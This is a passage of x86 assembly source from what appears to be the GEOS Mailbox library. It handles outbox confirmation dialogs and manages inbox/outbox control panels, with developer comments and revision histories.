%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAOutboxConfirmation method dynamic MailboxApplicationClass,
MSG_MA_OUTBOX_CONFIRMATION
if _OUTBOX_FEEDBACK
;
; Confirmation is handled by the feedback box, so just remove the
; reference to the message.
;
call MARemoveMsgReference
else
mov ax, MSG_OC_DISMISS
push ax
push si
clr ax
push ax ; push zero, always put up dialog
mov bx, handle OutConfirmRoot
mov si, offset OutConfirmRoot
mov ax, MSG_OC_SET_MESSAGE
call MAInboxOutboxConfirmationCommon
endif ; !_OUTBOX_FEEDBACK
ret
MAOutboxConfirmation endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MARemoveMsgReference
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Remove a reference from the passed message.
CALLED BY: (INTERNAL) MAOutboxConfirmation
MAMessageNotificationDone
PASS: cxdx = MailboxMessage
RETURN: nothing
DESTROYED: ax, bx, cx, dx
SIDE EFFECTS: message may be destroyed if last reference
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 3/ 5/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MARemoveMsgReference proc near
.enter
MovMsg dxax, cxdx
call MailboxGetAdminFile
call DBQDelRef
.leave
ret
MARemoveMsgReference endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAOutboxSendableConfirmation
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Put up a box to let the user know a message is in the
outbox and ready to send.
CALLED BY: MSG_MA_OUTBOX_SENDABLE_CONFIRMATION
PASS: cxdx = MailboxMessage
bp = TalID
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: message may be submitted for transmission, if it's marked
MMF_SEND_WITHOUT_QUERY
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/24/94 Initial version
AY 1/ 9/95 Moved common code to
MAInboxOutboxConfirmationCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAOutboxSendableConfirmation method dynamic MailboxApplicationClass,
MSG_MA_OUTBOX_SENDABLE_CONFIRMATION
mov ax, MSG_MSND_SEND_MESSAGE_LATER
push ax
push si
push si ; push non-zero, send msg if
; MMF_SEND_WITHOUT_QUERY set
if not _OUTBOX_SEND_WITHOUT_QUERY
mov bx, handle OutConfirmSendableRoot
mov si, offset OutConfirmSendableRoot
mov ax, MSG_MSND_SET_MESSAGE
endif ; not _OUTBOX_SEND_WITHOUT_QUERY
call MAInboxOutboxConfirmationCommon
ret
MAOutboxSendableConfirmation endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAInboxOutboxConfirmationCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Common routine to put up all sorts of confirmation boxes.
CALLED BY: (INTERNAL) MAOutboxSendableConfirmation, MAOutboxConfirmation,
MAOutboxNotifyTransWinOpen,
MAOutboxNotifyTransWinClose, MAInboxNotifyTransWinClose
PASS: cxdx = MailboxMessage
bp = TalID (if applicable)
^lbx:si = root of dialog template to duplicate (see note)
ax = message to set the MailboxMessage to display (see
note)
Pass: cxdx = MailboxMessage w/ 1 extra ref
bp = TalID
Return: nothing
ax, cx, dx, bp = destroyed
ds = segment of MailboxApplicationClass object
On stack (pushed in this order):
- msg to send to dialog box to dismiss it (word), or 0 to not
add the dialog to confirmBox array (as an optimization)
(e.g. for transWinClose box, which no one else should be
kicking it off screen)
- chunk handle of MailboxApp object (lptr)
- word-sized flag
If non-zero:
send message via OutboxTransmitMessage if
MMF_SEND_WITHOUT_QUERY is set, else put up dialog box
else
always put up dialog box
NOTE: If it is known that MMF_SEND_WITHOUT_QUERY is set in the
message, and the word-sized check-send-without-query-bit
flag is passed set, bx, si and ax can be passed with
garbage. This is the situation when the feature constant
_OUTBOX_SEND_wITHOUT_QUERY is set.
RETURN: nothing
parameters removed from stack
DESTROYED: ax, bx, cx, dx, si, di, ds
SIDE EFFECTS: es NOT fixed up
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 1/ 9/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAInboxOutboxConfirmationCommon proc near \
checkSendWithoutQuery:word,
appObj:lptr.MailboxApplicationBase,
dismissMsg:word
class MailboxApplicationClass
talID local TalID push bp
.enter
tst ss:[checkSendWithoutQuery]
jz putUpDialog
EC < push si >
EC < mov si, ss:[appObj] >
EC < Assert objectPtr, dssi, MailboxApplicationClass >
EC < pop si >
;
; See if the message is marked for sending without asking the user
; anything. If it is, we want to send it on its way -- the progress
; box showing up will be confirmation enough that the message is
; in the outbox.
;
push ax
call MailboxGetMessageFlags
test ax, mask MMF_SEND_WITHOUT_QUERY
pop ax
jnz sendIt
putUpDialog:
;
; Duplicate the template resource and add the box as our first child.
;
push ds:[OLMBH_header].LMBH_handle ; for fixup
call UserCreateDialog ; *DOES NOT FIXUP DS*
;
; Tell the box the message & addresses it's to display.
;
push bp
mov bp, ss:[talID]
clr di ; (DS was destroyed, so no
; fixup)
call ObjMessage ; di = 0
pop bp
;
; Bring the box up on screen to let the user decide what to do.
;
mov ax, MSG_GEN_INTERACTION_INITIATE
call ObjMessage
;
; Add the box to our array, if requested by caller.
;
mov_tr ax, bx ; ^lax:si = new dialog
pop bx ; bx = app obj hptr
tst ss:[dismissMsg]
jz done ; jump if don't want to add
call MemDerefDS
mov bx, si ; ^lax:bx = new dialog
mov si, ss:[appObj] ; *ds:si = MailboxApp obj
DerefDI MailboxApplication
mov si, ds:[di].MAI_confirmBoxes
call ChunkArrayAppend ; ds:di = MAConfirmBoxData
movdw ds:[di].MACBD_dialog, axbx
movdw ds:[di].MACBD_msgDisplayed, cxdx
mov ax, ss:[dismissMsg]
mov ds:[di].MACBD_dismissMsg, ax
jmp done
sendIt:
;
; Message is marked SEND_WITHOUT_QUERY, so start it sending.
;
; XXX: WHAT IF MESSAGE IS IN THE INBOX?
;
MovMsg dxax, cxdx
mov cx, ss:[talID]
push ax
call OutboxTransmitMessage
; XXX: DO SOMETHING ABOUT GETTING AN ERROR HERE
pop ax
call MailboxGetAdminFile ; remove reference from the message
call DBQDelRef ; now that it's been queued
done:
.leave
ret @ArgSize
MAInboxOutboxConfirmationCommon endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MADismissConfirmBoxes
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send the corresponding dismiss messages to all confirm
dialog boxes that are displaying this MailboxMessage.
CALLED BY: MSG_MA_DISMISS_CONFIRM_BOXES
PASS: *ds:si = MailboxApplicationClass object
cxdx = MailboxMessage
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 1/19/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MADismissConfirmBoxes method dynamic MailboxApplicationClass,
MSG_MA_DISMISS_CONFIRM_BOXES
mov bx, offset MADismissConfirmBoxWithSameMsgCallback
call MAEnumConfirmBoxes
ret
MADismissConfirmBoxes endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAEnumConfirmBoxes
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Enumerate thru all the dialog boxes stored in the confirm
box array.
CALLED BY: (INTERNAL)
PASS: *ds:si = MailboxApplicationClass object
cs:bx = offset of callback routine (for ChunkArrayEnum)
cx, dx, bp, es = data passed to callback (if any)
RETURN: ds fixed up
dx, bp, es = returned from last callback
DESTROYED: bx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 1/18/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAEnumConfirmBoxes proc near
class MailboxApplicationClass
uses ax,cx,si,di
.enter
DerefDI MailboxApplication
mov si, ds:[di].MAI_confirmBoxes ; *ds:si = array
mov di, bx
mov bx, cs ; bx:di = callback
call ChunkArrayEnum
.leave
ret
MAEnumConfirmBoxes endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MADismissConfirmBoxWithSameMsgCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send the dismiss message to this confirm box if it is
displaying the specified MailboxMessage.
CALLED BY: (INTERNAL) MAInboxOutboxConfirmationCommon via
MAEnumConfirmBoxes
PASS: *ds:si = array
ds:di = MAConfirmBoxData
cxdx = MailboxMessage
RETURN: carry clear to keep searching (no match)
carry set to stop (match)
dialog box dismissed, array element deleted.
DESTROYED: if no match
nothing
if match
ax, bx, cx, di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
We don't need to delete the MAConfirmBoxData element here even if it
is a match, as sending the dismiss message will invoke
MSG_GEN_REMOVE_CHILD which in turn will delete the element from the
array.
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 1/18/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MADismissConfirmBoxWithSameMsgCallback proc far
cmpdw ds:[di].MACBD_msgDisplayed, cxdx
clc ; assume not match
jne done
;
; Match found. Dismiss dialog.
;
movdw bxsi, ds:[di].MACBD_dialog
mov ax, ds:[di].MACBD_dismissMsg
mov di, mask MF_FIXUP_DS
call ObjMessage
stc
done:
ret
MADismissConfirmBoxWithSameMsgCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MANukeEquivalents
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Bring down any equivalent panels displaying a subset of
the messages for the indicated criteria. If the criteria
will be for the system panel, "subset" means "improper
subset", so any specific panel that would display exactly
the same messages will also be brought down. If the criteria
will be for a specific panel, a panel showing an improper
subset will cause the criteria passed to be freed and
carry returned set, meaning no new panel should be put up.
CALLED BY: (INTERNAL)
PASS: *ds:si = MailboxApplication object
bx = offset within MailboxApplicationInstance of
MailboxPanelBoxData to consult
cx = MailboxDisplayPanelType
^hdx = MailboxDisplayPanelCriteria
if MDPT_BY_TRANSPORT:
^hbp = MailboxDisplayPanelCriteria for MDPT_BY_MEDIUM
di = MCP_IS_SPECIFIC/MCP_IS_SYSTEM
RETURN: carry set if something's already displaying the messages for the
criteria.
DESTROYED: ax
SIDE EFFECTS: various control panels may be forced down
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 9/16/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MANukeEquivalents proc near
uses bx
.enter
lookAgain:
call MALocateEquivalentPanel ; *ds:ax <-
; MailboxAppDisplayPanel
jc maybeNuke
cmp cx, MDPT_BY_TRANSPORT
jne createNew ; => no further comparisons
; to make...
;
; Ok, so nothing for the transport specifically. Let's see if there's
; something for the medium that would be displaying the transport's
; messages.
;
push cx, dx
mov cx, MDPT_BY_MEDIUM
mov dx, bp
call MALocateEquivalentPanel
pop cx, dx
jc maybeNuke
createNew:
clc
done:
.leave
ret
maybeNuke:
;
; We've gotten an equivalent panel, but it might be too restrictive.
; If it is, we want to destroy the panel and look again, the end
; result being all the panels that are subsets of the more-general
; criteria we're employing get biffed and then we bring up the
; more-general one.
;
; Possible subsets:
; - we were searching by medium and found a by-transport panel
; that uses the unit (or *a* unit, if this the criteria are
; for any unit) of the medium
; - we were searching by medium for any unit and found a
; by-medium for a specific unit of the medium
;
; The other possibility we need to consider here is if we were searching
; for a more-restrictive set of criteria and found the superset of it.
; This happens on the second pass for a by-transport search, when we're
; searching by-medium and find a by-medium panel for the same or any
; unit. In this case, we just free the criteria and boogie, as the
; panel we found is sufficient to display the messages that want to be
; displayed.
;
push bx ; save MPBD offset
mov bx, ax ; (keep panel chunk in AX for
; possible destruction)
mov bx, ds:[bx]
cmp ds:[bx].MADP_type, cx
jne nukeIfSearchByMedium
cmp cx, MDPT_BY_TRANSPORT
je foundSame ; => found exactly what we
; were looking for
;
; Searching by medium and found a by-medium panel. If the one we found
; is displaying for any unit of the medium, then we're happy.
;
cmp ds:[bx].MADP_criteria.MDPC_byMedium.MDBMD_medium.MMD_unitType, MUT_ANY
je foundSame ; => panel already for any unit,
; so no need to change
;
; Lock down the new criteria and see if they're for any unit...
;
push bx, ax
mov bx, dx
call MemLock
mov es, ax
cmp es:[MDBMD_medium.MMD_unitType], MUT_ANY
call MemUnlock
pop bx, ax
jne foundSame ; => found exactly what we were
; looking for
jmp nukePanelAndTryAgain ; else found a specific and want
; a general, so biff the
; specific and keep looking
nukeIfSearchByMedium:
cmp cx, MDPT_BY_MEDIUM
jne foundSame ; => found a medium and
; wanted a transport, but
; medium is displaying the
; transport's messages, so
; do nothing (XXX: maybe bring
; to top?)
nukePanelAndTryAgain:
call MACallDestroyDialogForPanel
pop bx ; bx <- MPBD offset
jmp lookAgain
foundSame:
;
; Found a panel displaying the same as the passed criteria want to
; see. If the criteria are for the system panel, we want to nuke the
; panel, rather than return saying there's nothing that needs doing,
; as the system panel is per the user's explicit request and takes
; precedence over whatever we put up of our own volition.
;
cmp di, MCP_IS_SYSTEM
je nukePanelAndTryAgain
pop bx ; bx <- MPBD offset
;
; The existing panel is fine. We just need to free the memory block(s)
; with the criteria we were given.
;
mov bx, dx
call MemFree
cmp cx, MDPT_BY_TRANSPORT
jne dontPutUpPanel
mov bx, bp
call MemFree
dontPutUpPanel:
stc
jmp done
MANukeEquivalents endp
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MADisplaySystemOutboxPanel
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Bring the system outbox panel up on screen.
CALLED BY: MSG_MA_DISPLAY_SYSTEM_OUTBOX_PANEL
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: ?
PSEUDO CODE/STRATEGY:
If system panel not already extant:
Call the Outbox to get the criteria for the most-recent
message.
Destroy any equivalent panels (including improper
subsets)
Call MACreateNewPanel(MCP_IS_SYSTEM)
Bring up any outbox progress boxes
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 9/16/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
.warn -private
if MAILBOX_PERSISTENT_PROGRESS_BOXES
maOutboxPanelData UISystemPanelData <
OutboxGetDefaultSystemCriteria,
MAI_outPanels,
MPBT_OUTBOX
>
else
maOutboxPanelData UISystemPanelData <
OutboxGetDefaultSystemCriteria,
MAI_outPanels
>
endif ; MAILBOX_PERSISTENT_PROGRESS_BOXES
.warn @private
MADisplaySystemOutboxPanel method dynamic MailboxApplicationClass,
MSG_MA_DISPLAY_SYSTEM_OUTBOX_PANEL
mov bx, offset maOutboxPanelData
FALL_THRU_ECN MADisplaySystemPanelCommon
MADisplaySystemOutboxPanel endm
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MADisplaySystemPanelCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Common code to bring up the system inbox or outbox control
panel.
CALLED BY: (INTERNAL) MADisplaySystemInboxPanel,
MADisplaySystemOutboxPanel
PASS: *ds:si = MailboxApplication
ds:di = MailboxApplicationInstance
cs:bx = UISystemPanelData
RETURN: nothing
DESTROYED: ax, cx, dx, bp, di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/28/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MADisplaySystemPanelCommon proc ecnear
class MailboxApplicationClass
.enter
;
; If the system panel is already up, just bring the progress boxes
; to the fore.
;
mov bp, cs:[bx].UISPD_panelData
tst ds:[di+bp].MPBD_system
jnz bringUpProgressBoxes
push bx ; save UISPD offset for
; unhiding progress boxes
;
; Fetch the criteria for what the outbox/inbox module wants us to
; display
;
push bp ; save panel data offset
mov ax, cs:[bx].UISPD_getCriteria.offset
mov bx, cs:[bx].UISPD_getCriteria.segment
call ProcCallFixedOrMovable
;
; Make sure no other panels are showing anything related to those
; criteria.
;
pop bx ; bx <- offset to panel data
mov di, MCP_IS_SYSTEM
call MANukeEquivalents
;
; Create the panel.
;
call MACreateNewPanel
pop bx
bringUpProgressBoxes:
if MAILBOX_PERSISTENT_PROGRESS_BOXES
mov bp, cs:[bx].UISPD_type
mov ax, MSG_MA_UNHIDE_PROGRESS_BOXES
call ObjCallInstanceNoLock
endif ; MAILBOX_PERSISTENT_PROGRESS_BOXES
.leave
ret
MADisplaySystemPanelCommon endp
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MADisplayOutboxPanel
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Ensure there's a modified control panel on-screen to display
the messages selected by the indicated criteria. When panel is
MDPT_BY_TRANSPORT, the messages for that transport & address
are assumed to be on-screen if there's an MDPT_BY_MEDIUM panel
up whose criteria match the BY_MEDIUM criteria that must also
be passed.
If an MDPT_BY_MEDIUM panel is sought and there's an
MDPT_BY_TRANSPORT panel up that matches, that panel will be
destroyed.
Similarly, if an MDPT_BY_MEDIUM panel is found for a specific
unit when one for any unit of the medium is sought, that
panel will be destroyed.
CALLED BY: MSG_MA_DISPLAY_OUTBOX_PANEL
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
cx = MailboxDisplayPanelType
^hdx = MailboxDisplayPanelCriteria
if MDPT_BY_TRANSPORT:
^hbp = MailboxDisplayPanelCriteria for MDPT_BY_MEDIUM
RETURN: memory block(s) freed
DESTROYED: ax, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/30/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MADisplayOutboxPanel method dynamic MailboxApplicationClass,
MSG_MA_DISPLAY_OUTBOX_PANEL
mov bx, offset MAI_outPanels
FALL_THRU_ECN MADisplayPanelCommon
MADisplayOutboxPanel endm
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MADisplayPanelCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Bring a specific panel for the inbox or outbox up on-screen,
if the messages it will display aren't already being displayed
CALLED BY: (INTERNAL) MADisplayOutboxPanel,
MADisplayInboxPanel
PASS: *ds:si = MailboxApplicationClass object
bx = offset within MailboxApplicationInstance to
MailboxPanelData
cx = MailboxDisplayPanelType
^hdx = MailboxDisplayPanelCriteria
if MDPT_TRANSPORT:
^hbp = MailboxDisplayPanelCriteria for MDPT_MEDIUM
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: panels with criteria that are a subset of those passed will
be destroyed
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/28/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MADisplayPanelCommon proc ecnear
.enter
Assert ne, cx, MDPT_ALL
;
; See if there's an equivalent panel already on-screen.
;
mov di, MCP_IS_SPECIFIC
call MANukeEquivalents
jc done ; => already something up
; for these criteria
;
; Nothing there yet, so create something specific.
;
mov di, MCP_IS_SPECIFIC
call MACreateNewPanel
done:
.leave
ret
MADisplayPanelCommon endp
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MACallDestroyDialogForPanel
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call ourselves to delete a panel in the normal way.
CALLED BY: (INTERNAL) MADisplayOutboxPanel,
MAOutboxSysPanelCriteriaChanged
PASS: *ds:si = MailboxApplication
*ds:ax = MailboxAppDisplayPanel
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS: panel is removed as a kid, the panel chunk is freed, and the
panel object block is sent on its way toward death
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/31/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MACallDestroyDialogForPanel proc near
class MailboxApplicationClass
uses bx, cx, dx, bp
.enter
mov_tr bx, ax
mov bx, ds:[bx]
movdw cxdx, ds:[bx].MADP_panel
mov ax, MSG_MA_DESTROY_DIALOG
call ObjCallInstanceNoLock
.leave
ret
MACallDestroyDialogForPanel endp
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MALocateEquivalentPanel
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Find a panel that is displaying an equivalent set of
messages to what is being sought. Note that if comparing
by transport, only the transport information will be
compared, not the medium information. The caller must
call again with MDPT_BY_MEDIUM to see if there's a panel
displaying info for the same transport+medium pair.
CALLED BY: (INTERNAL) MADisplayOutboxPanel,
MADisplayInboxPanel
PASS: *ds:si = MailboxApplication object
bx = offset within MailboxApplicationInstance of
MailboxPanelBoxData
cx = MailboxDisplayPanelType
^hdx = MailboxDisplayPanelCriteria
RETURN: carry set if found one:
*ds:ax = MailboxAppDisplayPanel
carry clear if no equivalent:
ax = destroyed
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/30/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MALocateEquivalentPanel proc near
uses es, si, di, bx, ds, cx, bp, dx
class MailboxApplicationClass
.enter
;
; If there are no panels for this box, there can be no equivalent.
;
DerefDI MailboxApplication
mov si, ds:[di+bx].MPBD_panels
tst_clc si
jz toDone
;
; If the criteria being sought is MDPT_ALL, we want to return everything
; but the system panel.
;
cmp cx, MDPT_ALL
jne checkSys
cmp si, ds:[di+bx].MPBD_system
jne returnSI ; head panel not the system one,
; so return it
mov si, ds:[si] ; else point to the next
mov si, ds:[si].MADP_next ; panel
tst_clc si
jnz returnSI ; => there is a next, so return
; it
toDone:
jmp done ; else nothing else that's
; equivalent
checkSys:
;
; To make life simpler, we check the system panel to see if it's set
; to MDPT_ALL, which we say is equivalent to everything. The system
; panel is the only thing that can use such criteria, so we check
; it once here, and then don't have to worry about MDPT_ALL in the loop.
;
mov si, ds:[di+bx].MPBD_system
tst si
jz compareOthers
;
; System panel exists -- see if it's MDPT_ALL
;
push si ; might need to return this...
mov si, ds:[si]
cmp ds:[si].MADP_type, MDPT_ALL
pop si
jne compareOthers ; not "All", so do normal
; comparison
returnSI:
;
; Return *ds:ax as an equivalent panel.
;
mov_tr ax, si
stc
jmp done
compareOthers:
;
; Fetch the head of the list.
;
mov si, ds:[di+bx].MPBD_panels
;
; Now lock down the comparison block.
;
mov bx, dx
Assert handle, bx
call MemLock
push bx
mov es, ax
mov ax, offset MACompareTokens
cmp cx, MDPT_BY_MEDIUM
CheckHack <MDPT_BY_APP_TOKEN lt MDPT_BY_MEDIUM>
jl compareLoop
mov ax, offset MACompareMedia
je compareLoop
CheckHack <MDPT_BY_TRANSPORT gt MDPT_BY_MEDIUM>
push cx
movdw axbx, es:[MDBTD_transport]
movdw cxdx, es:[MDBTD_medium]
call MediaGetTransportSigAddrBytes
pop cx
mov_tr bp, ax
mov ax, offset MACompareTransAddr
compareLoop:
;
; *ds:si = panel to check
; ax = comparison routine
; cx = MailboxDisplayPanelType, so we can figure which
; criteria to use when panel is by_transport
; es:0 = MailboxDisplayPanelCriteria
; bp = significant address bytes, if MDPT_BY_TRANSPORT
;
; First point to the right part of the chunk for the criteria to compare
;
push si, cx
mov bx, ds:[si]
lea si, ds:[bx].MADP_criteria
cmp ds:[bx].MADP_type, cx
je haveData
cmp cx, MDPT_BY_MEDIUM
jne afterCompare ; => looking by transport and
; this panel is by medium, so
; they're not equivalent (yet;
; we'll be called back to
; check the medium later...)
add si, ds:[si].MDPC_byTransport.MDBTD_addrSize
add si, offset MDBTD_addr
haveData:
;
; Now call the comparison routine to see if they're equivalent.
;
clr di ; es:di = thing being sought
call ax
afterCompare:
pop si, cx ; *ds:si <- panel chunk
je unlockReturnSI
mov si, ds:[bx].MADP_next ; *ds:si <- next panel chunk
tst_clc si
jnz compareLoop
;
; Ran out of panels, so nothing equivalent.
;
unlockDone:
pop bx ; bx <- criteria block
call MemUnlock
done:
.leave
ret
unlockReturnSI:
mov_tr ax, si
stc
jmp unlockDone
MALocateEquivalentPanel endp
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MACompareTokens
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Compare two GeodeTokens from two sets of panel criteria to
see if they're equivalent.
CALLED BY: (INTERNAL) MALocateEquivalentPanel
PASS: ds:si = GeodeToken to check
es:di = GeodeToken being sought
RETURN: flags set so je takes if equivalent
DESTROYED: si, di, cx
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
For tokens, equivalent means equal.
There is the possibility of the server for a generic token
being found while a panel for each of the generic and
specific tokens is up, where we'd need to bring one of them
down and rebuild the list for the other, but we don't worry
about that for now...
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/31/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MACompareTokens proc near
.enter
CheckHack <(size GeodeToken and 1) eq 0>
mov cx, size GeodeToken/2
repe cmpsw
.leave
ret
MACompareTokens endp
endif ; _CONTROL_PANELS
